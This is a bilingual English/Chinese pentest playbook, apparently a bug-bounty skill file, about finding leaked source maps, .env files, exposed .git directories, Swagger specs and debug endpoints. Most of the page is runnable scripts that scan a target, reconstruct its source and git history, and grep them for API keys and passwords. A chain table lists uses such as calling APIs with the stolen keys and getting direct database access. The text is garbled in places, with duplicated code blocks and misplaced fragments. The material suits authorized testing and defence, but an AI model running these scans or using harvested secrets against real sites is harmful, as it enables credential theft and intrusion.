hunt-source-leak
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseHUNT-SOURCE-LEAK — Source Code & Build Artifact Leakage
HUNT-SOURCE-LEAK — 源代码与构建产物泄露
Crown Jewel Targets
核心高价值目标
Source map exposing TypeScript source = see all API routes, auth logic, secrets. Swagger/OpenAPI JSON = complete API surface map.
Highest-value findings:
- source maps — reconstruct full TypeScript/ES6 source code → find hardcoded API keys, internal endpoints, auth logic bypasses
.js.map - /
swagger.json— complete REST API specification with all endpoints, parameters, auth schemes, and internal route namesopenapi.json - /
.env— APP_KEY, DB_PASSWORD, API_KEY, SECRET_KEY in plaintext.env.production - exposure —
.git/the entire source history → all past hardcoded secretsgit clone - /
asset-manifest.json— all JS bundle paths → systematic source map discovery_next/static/ - /
build-info— git commit hash, build timestamp, dependency versions → CVE targetinginfo.json
暴露 TypeScript 源码的 source map = 可以查看所有 API 路由、认证逻辑和密钥。Swagger/OpenAPI JSON = 完整的 API 攻击面地图。
最高价值的发现:
- source maps — 重建完整的 TypeScript/ES6 源代码 → 查找硬编码 API 密钥、内部端点和认证逻辑绕过
.js.map - /
swagger.json— 包含所有端点、参数、认证方案和内部路由名称的完整 REST API 规范openapi.json - /
.env— 明文形式的 APP_KEY、DB_PASSWORD、API_KEY、SECRET_KEY.env.production - 暴露 —
.git/整个源代码历史 → 找出所有过去硬编码的密钥git clone - /
asset-manifest.json— 所有 JS bundle 路径 → 系统化发现 source map_next/static/ - /
build-info— git commit hash、构建时间戳、依赖版本 → 针对性排查 CVEinfo.json
Phase 1 — Quick Wins (Run First)
阶段 1 — 快速突破(优先运行)
bash
undefinedbash
undefinedThese 10 requests take <30 seconds and often yield Critical findings
These 10 requests take <30 seconds and often yield Critical findings
for PATH in
"/.env"
"/.env.production"
"/.env.local"
"/.git/HEAD"
"/swagger.json"
"/api/swagger.json"
"/v1/swagger.json"
"/openapi.json"
"/api/openapi.json"
"/api-docs"; do STATUS=$(curl -s -o /tmp/sl_test -w "%{http_code}" "https://$TARGET$PATH") if [ "$STATUS" = "200" ]; then echo "[+] HIT: https://$TARGET$PATH" head -5 /tmp/sl_test echo "---" fi done
"/.env"
"/.env.production"
"/.env.local"
"/.git/HEAD"
"/swagger.json"
"/api/swagger.json"
"/v1/swagger.json"
"/openapi.json"
"/api/openapi.json"
"/api-docs"; do STATUS=$(curl -s -o /tmp/sl_test -w "%{http_code}" "https://$TARGET$PATH") if [ "$STATUS" = "200" ]; then echo "[+] HIT: https://$TARGET$PATH" head -5 /tmp/sl_test echo "---" fi done
---for PATH in
"/.env"
"/.env.production"
"/.env.local"
"/.git/HEAD"
"/swagger.json"
"/api/swagger.json"
"/v1/swagger.json"
"/openapi.json"
"/api/openapi.json"
"/api-docs"; do STATUS=$(curl -s -o /tmp/sl_test -w "%{http_code}" "https://$TARGET$PATH") if [ "$STATUS" = "200" ]; then echo "[+] HIT: https://$TARGET$PATH" head -5 /tmp/sl_test echo "---" fi done
"/.env"
"/.env.production"
"/.env.local"
"/.git/HEAD"
"/swagger.json"
"/api/swagger.json"
"/v1/swagger.json"
"/openapi.json"
"/api/openapi.json"
"/api-docs"; do STATUS=$(curl -s -o /tmp/sl_test -w "%{http_code}" "https://$TARGET$PATH") if [ "$STATUS" = "200" ]; then echo "[+] HIT: https://$TARGET$PATH" head -5 /tmp/sl_test echo "---" fi done
---Phase 2 — Source Map Discovery
阶段 2 — Source Map 发现
Always resolve the CURRENT build hash before testing, and again before re-verifying. Bundle filenames are content-hashed, so they rotate on every deploy. AURL recorded yesterday can 404 today while the map is still fully exposed under a new name. A 404 at the old URL is not remediation — it is a new build..mapbash# ALWAYS derive the hash live, never reuse a recorded URL HASH=$(curl -s "https://$TARGET/" | grep -oE 'main\.[a-f0-9]+\.js' | head -1) curl -s -o /dev/null -w '%{http_code} %{size_download} %{content_type}\n' \ "https://$TARGET/static/js/${HASH}.map"Lesson from an authorized engagement. A large production map was found at. On re-verification that URL returned a small HTML soft-404 and the finding was nearly closed as fixed. The bundle had rotated tomain.<hashA>.js.map— and the map was still published atmain.<hashB>.js, same size. Nothing had been remediated.main.<hashB>.js.mapTell the client this explicitly in the report: redeploying does not fix source map exposure. Only(or strippingGENERATE_SOURCEMAP=falseat deploy) plus a CDN purge closes it. A team that redeploys and re-checks the old link will wrongly declare victory..mapSame rule applies to any content-hashed artifact: chunk files, CSS maps,, and staging equivalents.asset-manifest.json
bash
undefined始终在测试前解析当前构建 hash,并在重新验证前再次解析。 Bundle 文件名采用内容哈希,因此每次部署都会轮换。昨天记录的URL 今天可能返回 404,而 source map 仍可能以新名称公开。旧 URL 返回 404 并不代表已修复——这意味着构建已发生轮换。.mapbash# ALWAYS derive the hash live, never reuse a recorded URL HASH=$(curl -s "https://$TARGET/" | grep -oE 'main\.[a-f0-9]+\.js' | head -1) curl -s -o /dev/null -w '%{http_code} %{size_download} %{content_type}\n' \ "https://$TARGET/static/js/${HASH}.map"来自授权项目的经验教训。 某个大型生产环境 map 位于。重新验证时,该 URL 返回了一个小型 HTML soft-404,该问题差点被当作已修复而关闭。但 bundle 已轮换为main.<hashA>.js.map——而 map 仍发布在main.<hashB>.js,大小相同。实际上并未采取任何修复措施。main.<hashB>.js.map在报告中明确告知客户:重新部署无法修复 source map 暴露问题。 只有(或在部署时移除GENERATE_SOURCEMAP=false)并清除 CDN 缓存才能解决。团队如果重新部署后只复查旧链接,就会错误地宣布问题已解决。.map同一规则也适用于任何采用内容哈希的产物:chunk 文件、CSS maps、及其 staging 等价资源。asset-manifest.json
bash
undefinedStep 1: Get asset manifest to find all JS bundle paths
Step 1: Get asset manifest to find all JS bundle paths
curl -s "https://$TARGET/asset-manifest.json" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/static/js/main.*.js" 2>/dev/null | head -3
curl -s "https://$TARGET/asset-manifest.json" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/static/js/main.*.js" 2>/dev/null | head -3
Next.js
Next.js
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
curl -s "https://$TARGET/_next/static/$BUILD_ID/_buildManifest.js" | head -5
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
curl -s "https://$TARGET/_next/static/$BUILD_ID/_buildManifest.js" | head -5
Step 2: For each JS bundle, check for source map reference at end of file
Step 2: For each JS bundle, check for source map reference at end of file
for JS_URL in $(curl -s https://$TARGET/ | grep -oP 'src="[^"]*.js"' | sed 's/src="//;s/"//'); do
LAST_LINE=$(curl -s "https://$TARGET$JS_URL" | tail -1)
echo "$LAST_LINE" | grep -q "sourceMappingURL" && echo "[+] Source map: $JS_URL"
done
for JS_URL in $(curl -s https://$TARGET/ | grep -oP 'src="[^"]*.js"' | sed 's/src="//;s/"//'); do
LAST_LINE=$(curl -s "https://$TARGET$JS_URL" | tail -1)
echo "$LAST_LINE" | grep -q "sourceMappingURL" && echo "[+] Source map: $JS_URL"
done
Step 3: Download and reconstruct source from .map files
Step 3: Download and reconstruct source from .map files
JS_URL="https://$TARGET/static/js/main.abc123.js"
MAP_URL="${JS_URL}.map"
curl -s "$MAP_URL" | python3 -c "
import sys, json, os
data = json.load(sys.stdin)
sources = data.get('sources', [])
contents = data.get('sourcesContent', [])
for i, (src, content) in enumerate(zip(sources, contents)):
if content:
path = '/tmp/sourcemap_extract/' + src.replace('../','').replace('./',''). replace('webpack://','')
os.makedirs(os.path.dirname(path), exist_ok=True)
with open(path, 'w') as f:
f.write(content)
print(f'[+] Extracted: {src}')
"
JS_URL="https://$TARGET/static/js/main.abc123.js"
MAP_URL="${JS_URL}.map"
curl -s "$MAP_URL" | python3 -c "
import sys, json, os
data = json.load(sys.stdin)
sources = data.get('sources', [])
contents = data.get('sourcesContent', [])
for i, (src, content) in enumerate(zip(sources, contents)):
if content:
path = '/tmp/sourcemap_extract/' + src.replace('../','').replace('./',''). replace('webpack://','')
os.makedirs(os.path.dirname(path), exist_ok=True)
with open(path, 'w') as f:
f.write(content)
print(f'[+] Extracted: {src}')
"
Step 4: Grep extracted source for secrets
Step 4: Grep extracted source for secrets
grep -r "API_KEY|SECRET|PASSWORD|TOKEN|PRIVATE" /tmp/sourcemap_extract/ 2>/dev/null
grep -r "process.env." /tmp/sourcemap_extract/ 2>/dev/null | grep -v "NEXT_PUBLIC_" | head -20
grep -r "http://internal\|localhost\|127\.0\.0\.1\|10\.\|172\.\|192\.168" /tmp/sourcemap_extract/ 2>/dev/null | head -20
---grep -r "API_KEY|SECRET|PASSWORD|TOKEN|PRIVATE" /tmp/sourcemap_extract/ 2>/dev/null
grep -r "process.env." /tmp/sourcemap_extract/ 2>/dev/null | grep -v "NEXT_PUBLIC_" | head -20
grep -r "http://internal\|localhost\|127\.0\.0\.1\|10\.\|172\.\|192\.168" /tmp/sourcemap_extract/ 2>/dev/null | head -20
---Phase 3 — Swagger / OpenAPI Discovery
阶段 3 — Swagger / OpenAPI 发现
bash
undefinedbash
undefinedCommon paths
Common paths
SWAGGER_PATHS=(
"/swagger.json" "/swagger.yaml" "/swagger/"
"/api/swagger.json" "/api/swagger.yaml"
"/v1/swagger.json" "/v2/swagger.json" "/v3/swagger.json"
"/openapi.json" "/openapi.yaml"
"/api/openapi.json" "/api-docs" "/api-docs.json"
"/api/v1/swagger.json" "/api/v2/swagger.json"
"/rest/swagger.json" "/rest/api-docs"
"/.well-known/openapi.json"
"/graphql/schema.json"
)
for PATH in "${SWAGGER_PATHS[@]}"; do
STATUS=$(curl -s -o /tmp/swagger_test -w "%{http_code}" "https://$TARGET$PATH")
if [ "$STATUS" = "200" ]; then
echo "[+] Found: https://$TARGET$PATH"
# Extract all API paths from swagger
python3 -c "
import sys, json
try:
d = json.load(open('/tmp/swagger_test'))
paths = list(d.get('paths', {}).keys())
print(f'Endpoints: {len(paths)}')
print('\n'.join(sorted(paths)))
except: pass
" | head -50
fi
done
---SWAGGER_PATHS=(
"/swagger.json" "/swagger.yaml" "/swagger/"
"/api/swagger.json" "/api/swagger.yaml"
"/v1/swagger.json" "/v2/swagger.json" "/v3/swagger.json"
"/openapi.json" "/openapi.yaml"
"/api/openapi.json" "/api-docs" "/api-docs.json"
"/api/v1/swagger.json" "/api/v2/swagger.json"
"/rest/swagger.json" "/rest/api-docs"
"/.well-known/openapi.json"
"/graphql/schema.json"
)
for PATH in "${SWAGGER_PATHS[@]}"; do
STATUS=$(curl -s -o /tmp/swagger_test -w "%{http_code}" "https://$TARGET$PATH")
if [ "$STATUS" = "200" ]; then
echo "[+] Found: https://$TARGET$PATH"
# Extract all API paths from swagger
python3 -c "
import sys, json
try:
d = json.load(open('/tmp/swagger_test'))
paths = list(d.get('paths', {}).keys())
print(f'Endpoints: {len(paths)}')
print('\n'.join(sorted(paths)))
except: pass
" | head -50
fi
done
---Phase 4 — .git Exposure
阶段 4 — .git 暴露
bash
undefinedbash
undefinedCheck if .git directory is accessible
Check if .git directory is accessible
curl -s "https://$TARGET/.git/HEAD" | grep -q "ref:" && echo "[+] .git exposed!"
curl -s "https://$TARGET/.git/HEAD" | grep -q "ref:" && echo "[+] .git exposed!"
If exposed, reconstruct repo
If exposed, reconstruct repo
Tool: git-dumper
Tool: git-dumper
pip3 install git-dumper
git-dumper "https://$TARGET/.git/" /tmp/dumped-repo/
pip3 install git-dumper
git-dumper "https://$TARGET/.git/" /tmp/dumped-repo/
Grep for secrets in all git history
Grep for secrets in all git history
cd /tmp/dumped-repo &&
git log --all --oneline 2>/dev/null | head -20 git grep -i "password|secret|api_key|token" $(git rev-list --all) 2>/dev/null | head -30
git log --all --oneline 2>/dev/null | head -20 git grep -i "password|secret|api_key|token" $(git rev-list --all) 2>/dev/null | head -30
cd /tmp/dumped-repo &&
git log --all --oneline 2>/dev/null | head -20 git grep -i "password|secret|api_key|token" $(git rev-list --all) 2>/dev/null | head -30
git log --all --oneline 2>/dev/null | head -20 git grep -i "password|secret|api_key|token" $(git rev-list --all) 2>/dev/null | head -30
trufflehog on git history
trufflehog on git history
trufflehog git file:///tmp/dumped-repo/ 2>/dev/null | head -50
---trufflehog git file:///tmp/dumped-repo/ 2>/dev/null | head -50
---Phase 5 — Forgotten Files & Debug Endpoints
阶段 5 — 遗忘文件与调试端点
bash
undefinedbash
undefinedBuild artifacts and debug files
Build artifacts and debug files
DEBUG_PATHS=(
"/build-info.json" "/build/build-info.json"
"/info" "/actuator/info" "/api/info"
"/version" "/api/version" "/_version"
"/health" "/status" "/ping"
"/robots.txt" "/security.txt" "/.well-known/security.txt"
"/sitemap.xml" "/manifest.json" "/browserconfig.xml"
"/crossdomain.xml" "/clientaccesspolicy.xml"
"/phpinfo.php" "/info.php" "/test.php"
"/server-status" "/server-info" "/.htaccess"
"/web.config" "/applicationHost.config"
"/WEB-INF/web.xml" "/META-INF/MANIFEST.MF"
"/package.json" "/composer.json" "/Gemfile"
"/Dockerfile" "/docker-compose.yml" "/.dockerenv"
)
for PATH in "${DEBUG_PATHS[@]}"; do
STATUS=$(curl -s -o /tmp/debug_test -w "%{http_code}" "https://$TARGET$PATH")
if [ "$STATUS" = "200" ]; then
echo "[+] Found: https://$TARGET$PATH ($STATUS, $(wc -c < /tmp/debug_test) bytes)"
head -3 /tmp/debug_test
echo "---"
fi
done
---DEBUG_PATHS=(
"/build-info.json" "/build/build-info.json"
"/info" "/actuator/info" "/api/info"
"/version" "/api/version" "/_version"
"/health" "/status" "/ping"
"/robots.txt" "/security.txt" "/.well-known/security.txt"
"/sitemap.xml" "/manifest.json" "/browserconfig.xml"
"/crossdomain.xml" "/clientaccesspolicy.xml"
"/phpinfo.php" "/info.php" "/test.php"
"/server-status" "/server-info" "/.htaccess"
"/web.config" "/applicationHost.config"
"/WEB-INF/web.xml" "/META-INF/MANIFEST.MF"
"/package.json" "/composer.json" "/Gemfile"
"/Dockerfile" "/docker-compose.yml" "/.dockerenv"
)
for PATH in "${DEBUG_PATHS[@]}"; do
STATUS=$(curl -s -o /tmp/debug_test -w "%{http_code}" "https://$TARGET$PATH")
if [ "$STATUS" = "200" ]; then
echo "[+] Found: https://$TARGET$PATH ($STATUS, $(wc -c < /tmp/debug_test) bytes)"
head -3 /tmp/debug_test
echo "---"
fi
done
---Phase 6 — .DS_Store File Listing
阶段 6 — .DS_Store 文件列表
bash
undefinedbash
undefined.DS_Store files on macOS-deployed web servers reveal directory structure
.DS_Store files on macOS-deployed web servers reveal directory structure
curl -s "https://$TARGET/.DS_Store" | xxd | head -10
curl -s "https://$TARGET/.DS_Store" | xxd | head -10
Parse .DS_Store to extract filenames
Parse .DS_Store to extract filenames
pip3 install ds_store
python3 -c "
from ds_store import DSStore
with DSStore.open('/tmp/ds_store_test', 'r') as d:
for entry in d:
print(entry.filename)
"
pip3 install ds_store
python3 -c "
from ds_store import DSStore
with DSStore.open('/tmp/ds_store_test', 'r') as d:
for entry in d:
print(entry.filename)
"
Recursive .DS_Store enumeration
Recursive .DS_Store enumeration
python3 ds_store_exp.py "https://$TARGET/"
---python3 ds_store_exp.py "https://$TARGET/"
---Phase 7 — webpack Chunk Analysis
阶段 7 — webpack Chunk 分析
bash
undefinedbash
undefinedDownload and analyze webpack chunks for hardcoded values
Download and analyze webpack chunks for hardcoded values
Find chunk files
Find chunk files
curl -s https://$TARGET/ | grep -oP '"[^"].chunk.js"' | tr -d '"' | while read chunk; do
echo "Analyzing: $chunk"
curl -s "https://$TARGET$chunk" |
grep -oE '"(api_key|apiKey|secret|password|token|key)"\s:\s*"[^"]+"' | head -5 done
grep -oE '"(api_key|apiKey|secret|password|token|key)"\s:\s*"[^"]+"' | head -5 done
curl -s https://$TARGET/ | grep -oP '"[^"].chunk.js"' | tr -d '"' | while read chunk; do
echo "Analyzing: $chunk"
curl -s "https://$TARGET$chunk" |
grep -oE '"(api_key|apiKey|secret|password|token|key)"\s:\s*"[^"]+"' | head -5 done
grep -oE '"(api_key|apiKey|secret|password|token|key)"\s:\s*"[^"]+"' | head -5 done
Also grep for internal hostnames
Also grep for internal hostnames
curl -s "https://$TARGET/static/js/main.*.js" |
grep -oE '"(https?://[^"]internal[^"]|http://[^"]localhost[^"])"' | sort -u
grep -oE '"(https?://[^"]internal[^"]|http://[^"]localhost[^"])"' | sort -u
curl -s "https://$TARGET/static/js/main.*.js" |
grep -oE '"(https?://[^"]internal[^"]|http://[^"]localhost[^"])"' | sort -u
grep -oE '"(https?://[^"]internal[^"]|http://[^"]localhost[^"])"' | sort -u
Check for Base64-encoded secrets
Check for Base64-encoded secrets
curl -s "https://$TARGET/static/js/main.*.js" |
grep -oP '"[A-Za-z0-9+/]{30,}={0,2}"' | while read b64; do DECODED=$(echo "$b64" | tr -d '"' | base64 -d 2>/dev/null) echo "$DECODED" | grep -iE "key|secret|password|token" && echo " B64: $b64" done
grep -oP '"[A-Za-z0-9+/]{30,}={0,2}"' | while read b64; do DECODED=$(echo "$b64" | tr -d '"' | base64 -d 2>/dev/null) echo "$DECODED" | grep -iE "key|secret|password|token" && echo " B64: $b64" done
---curl -s "https://$TARGET/static/js/main.*.js" |
grep -oP '"[A-Za-z0-9+/]{30,}={0,2}"' | while read b64; do DECODED=$(echo "$b64" | tr -d '"' | base64 -d 2>/dev/null) echo "$DECODED" | grep -iE "key|secret|password|token" && echo " B64: $b64" done
grep -oP '"[A-Za-z0-9+/]{30,}={0,2}"' | while read b64; do DECODED=$(echo "$b64" | tr -d '"' | base64 -d 2>/dev/null) echo "$DECODED" | grep -iE "key|secret|password|token" && echo " B64: $b64" done
---Chain Table
关联表
| Source leak finding | Chain to | Impact |
|---|---|---|
| Source map with API key | Use key directly → API access | High/Critical |
| Source map with auth logic | Find auth bypass route | Critical |
| Swagger → internal endpoints | Test undocumented admin routes | High |
| .git exposed | Full source history → all past secrets | Critical |
| build-info with git hash | CVE targeting exact version | High |
| .env with DB_PASSWORD | Direct database access | Critical |
| 源代码泄露发现 | 后续利用路径 | 影响 |
|---|---|---|
| Source map 中含 API key | 直接使用密钥 → API 访问 | 高/严重 |
| Source map 中含 auth logic | 查找 auth bypass 路由 | 严重 |
| Swagger → 内部端点 | 测试未公开的管理员路由 | 高 |
| .git 暴露 | 完整源代码历史 → 所有历史密钥 | 严重 |
| build-info 中含 git hash | 针对准确版本排查 CVE | 高 |
| .env 中含 DB_PASSWORD | 直接访问数据库 | 严重 |
Tools
工具
bash
undefinedbash
undefinedgit-dumper (reconstruct exposed .git)
git-dumper (reconstruct exposed .git)
pip3 install git-dumper
git-dumper "https://target.com/.git/" /tmp/repo/
pip3 install git-dumper
git-dumper "https://target.com/.git/" /tmp/repo/
sourcemap-explorer (visualize what's in bundles)
sourcemap-explorer (visualize what's in bundles)
npm install -g source-map-explorer
source-map-explorer main.js
npm install -g source-map-explorer
source-map-explorer main.js
unwebpack-sourcemap (extract all source files)
unwebpack-sourcemap (extract all source files)
npm install -g unwebpack-sourcemap
npm install -g unwebpack-sourcemap
trufflehog (secret scanning)
trufflehog (secret scanning)
trufflehog filesystem /tmp/repo/
---trufflehog filesystem /tmp/repo/
---Validation
验证
✅ Source map: reconstructed TypeScript source contains API endpoints or hardcoded secrets
✅ Swagger: JSON contains internal endpoints not visible in UI
✅ .git exposed: git-dumper successfully clones repo, secrets in history
✅ .env exposed: DATABASE_URL, API_KEY, SECRET_KEY visible in plaintext
Severity:
- .env with credentials: Critical
- .git with secrets in history: Critical
- Source map with secrets: High
- Swagger with internal routes: Medium-High
- robots.txt only: Informational
✅ Source map:重建出的 TypeScript 源码包含 API 端点或硬编码密钥
✅ Swagger:JSON 包含 UI 中不可见的内部端点
✅ .git 暴露:git-dumper 成功克隆仓库,历史记录中存在密钥
✅ .env 暴露:明文可见 DATABASE_URL、API_KEY、SECRET_KEY
严重程度:
- 含凭据的 .env:严重
- 历史记录中含密钥的 .git:严重
- 含密钥的 source map:高危
- 含内部路由的 Swagger:中高危
- 仅有 robots.txt:信息级